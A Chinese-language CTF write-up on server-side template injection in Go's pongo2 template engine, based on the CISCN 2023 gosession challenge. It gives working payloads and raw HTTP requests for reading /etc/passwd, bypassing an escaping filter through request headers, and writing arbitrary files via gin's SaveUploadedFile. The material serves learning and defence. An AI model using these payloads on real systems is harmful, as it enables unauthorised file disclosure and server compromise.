Golang Pongo2 SSTI

 

pongo2 简介

pongo2 是一个语法与 django 模板引擎语法类似的模板引擎。官方文档如下:

测试环境

测试环境来自 CISCN 2023 gosession

├── route
│   └── route.go
├── go.mod
├── go.sum
└── main.go

main.go

package main

import (
	"github.com/gin-gonic/gin"
	"main/route"
)

func main() {
	r := gin.Default()
	r.GET("/", route.Index)
	r.GET("/admin", route.Admin)
	r.GET("/flask", route.Flask)
	r.Run("0.0.0.0:80")
}

main.go 中定义了三个路由:

  • /
  • admin
  • flask

路由的具体定义可见 route.go

route.go

package route

import (
	"html"
	"io"
	"net/http"
	"os"

	"github.com/flosch/pongo2/v6"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "admin"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] != "admin" {
		http.Error(c.Writer, "N0", http.StatusInternalServerError)
		return
	}
	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	// tpl, err := pongo2.FromString("Hello " + name + "!")
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	c.String(200, out)
}

func Flask(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		if err != nil {
			http.Error(c.Writer, "N0", http.StatusInternalServerError)
			return
		}
	}
	resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
	if err != nil {
		return
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	c.String(200, string(body))
}

这道题存在 ssti,name 参数传入的内容直接进行模板渲染,tpl.Execute 指定的 context 为 c,c 是一个 gin.Context 变量。

	name := c.DefaultQuery("name", "ssti")
	xssWaf := html.EscapeString(name)
	// tpl, err := pongo2.FromString("Hello " + name + "!")
	tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
	if err != nil {
		panic(err)
	}
	out, err := tpl.Execute(pongo2.Context{"c": c})

利用

版本探测

输入 {{ pongo2.version }} 可以探测出 pongo2 模板引擎版本。

任意文件读

pongo2 语法与 django 1.7 类似,支持使用 include 关键词来包含模板文件,但 pongo2 引擎可以读取任意文件,例如:

{{ include "/etc/passwd" }}

测试环境中会因为 html.EscapeString 将双引号转义而执行失败,测试时可以将下面的代码进行注释。

xssWaf := html.EscapeString(name)

注意在 url 中输入时需要进行 url 编码:

/admin?name={%25%20include%20"/etc/passwd"%20%25}

这样就可以读取任意文件:

Hello root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

任意函数调用

pongo2 同样支持函数调用,官方给出了一些参考示例:

  • https://raw.githubusercontent.com/flosch/pongo2/master/template_tests/function_calls_wrapper.tpl
{{ simple.func_add(simple.func_add(5, 15), simple.number) + 17 }}
{{ simple.func_add_iface(simple.func_add_iface(5, 15), simple.number) + 17 }}
{{ simple.func_variadic("hello") }}
{{ simple.func_variadic("hello, %s", simple.name) }}
{{ simple.func_variadic("%d + %d %s %d", 5, simple.number, "is", 49) }}
{{ simple.func_variadic_sum_int() }}
{{ simple.func_variadic_sum_int(1) }}
{{ simple.func_variadic_sum_int(1, 19, 185) }}
{{ simple.func_variadic_sum_int2() }}
{{ simple.func_variadic_sum_int2(2) }}
{{ simple.func_variadic_sum_int2(1, 7, 100) }}
eqnil: {{ simple.func_ensure_nil(nil) }}
neqnil: {{ simple.func_ensure_nil(1) }}
v1: {{ simple.func_ensure_nil_variadic(nil) }}
v2: {{ simple.func_ensure_nil_variadic() }}
v3: {{ simple.func_ensure_nil_variadic(nil, 1, nil, "test") }}

这里的 simple 其实就是模板渲染时的上下文信息,因此在函数调用时需要根据 context 的值来寻找可以利用的函数。这里测试环境的 context 为 gin.Context 对象。

查阅 gin 的官方文档 可以看到 Context 类中的函数如下:

 type Context

    func CreateTestContextOnly(w http.ResponseWriter, r *Engine) (c *Context)

    func (c *Context) Abort()
    func (c *Context) AbortWithError(code int, err error) *Error
    func (c *Context) AbortWithStatus(code int)
    func (c *Context) AbortWithStatusJSON(code int, jsonObj any)
    func (c *Context) AddParam(key, value string)
    func (c *Context) AsciiJSON(code int, obj any)
    func (c *Context) Bind(obj any) error
    func (c *Context) BindHeader(obj any) error
    ...

这些函数都是可以直接在模板中进行调用的。例如我们输入


此时会返回:

[Error (where: execution) in <string> | Line 1 Col 9 near 'c'] 'c.Abort' must have exactly 1 or 2 output arguments, the second argument must be of type error

报错信息表明 pongo2 会去调用给出的函数,由于我们没有传入参数,因此调用会抛出异常。

绕过字符串过滤

可以调用任意函数后,就可以绕过上述xssWaf := html.EscapeString(name) 的过滤。因为这里仅仅过滤了 url 参数,一种常见的思路是通过 http 头传入字符串,然后通过获取头信息来得到这个字符串。

在 gin 框架中,http.Request 类保存了 http 请求的相关内容。其中的 Header 存放了 http 头信息。

type Request struct {
	Method string
	URL *url.URL
	ProtoMajor int    // 1
	ProtoMinor int    // 0
	Header Header
	Body io.ReadCloser
	GetBody func() (io.ReadCloser, error)
	ContentLength int64
	TransferEncoding []string
	Close bool
	Host string
	Form url.Values
	PostForm url.Values
	MultipartForm *multipart.Form
	Trailer Header
	RemoteAddr string
	RequestURI string
	TLS *tls.ConnectionState
	Cancel <-chan struct{}
	Response *Response

}

而 Context 类的 Request 成员变量就是一个 http.Request 指针。因此可以通过 c 来获取到 http 头信息。

type Context struct {
	Request *http.Request
	Writer  ResponseWriter
}

例如我们在 url 中传入``,然后传入 http 头:aaa: injection

GET /admin?name={{c.Request.Header.Aaa[0]}} HTTP/1.1
Host: 192.168.137.98
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
aaa: injection
Accept-Language: en-US,en;q=0.9
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close

则可以得到这个字符串。

Hello injection!

注意: gin 会将输入的 http 头的首字符换成大写。

这样一来便可以绕过针对 url 参数的字符串过滤:

name={%25%20include%20c.Request.Header.Aaa[0]%20%25}
aaa: /etc/passwd

任意文件写

既然可以调用任意函数,那么我们可以寻找是否有文件操作的函数,搜索 Context 文档时发现存在 SaveUploadedFile 方法。

函数定义如下:

func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

一般情况下,需要先获取上传文件的 multipart.FileHeader 对象,然后再使用 SaveUploadedFile.

Context.FormFile 函数可以从上传的文件中通过 filename 获取这个对象:

func (c *Context) FormFile(name string) (*multipart.FileHeader, error)

发包如下:

GET /admin?name={{c.FormFile(c.Request.Header.Filetype[0])}} HTTP/1.1
Host: 192.168.137.98
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
aaa: file
Filetype: file
Filepath: ./server.py
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close
Content-Length: 193
Content-Type: multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1fe

--01f54ee8f2872c8a0d42d14f70cdc1fe
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png

This is the file content
--01f54ee8f2872c8a0d42d14f70cdc1fe--

此时会得到:

Hello <multipart.FileHeader Value>!

接下来就可以通过 SaveUploadedFile 写入文件, 发包如下:

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Filename[0]),c.Request.Header.Filepath[0])}} HTTP/1.1
Host: 192.168.137.98
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
aaa: file
Filename: file
Filepath: ./pwned
Cookie: session-name=MTY4NTQxMTc3MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxUX9L8ZRNPWeNBBMT9NDKZ9Jpzx60fZwNoViv5j6YI5Q==
Connection: close
Content-Length: 193
Content-Type: multipart/form-data; boundary=01f54ee8f2872c8a0d42d14f70cdc1fe

--01f54ee8f2872c8a0d42d14f70cdc1fe
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png

This is the file content
--01f54ee8f2872c8a0d42d14f70cdc1fe--

c.SaveUploadedFile(file, “path/filename”)

参考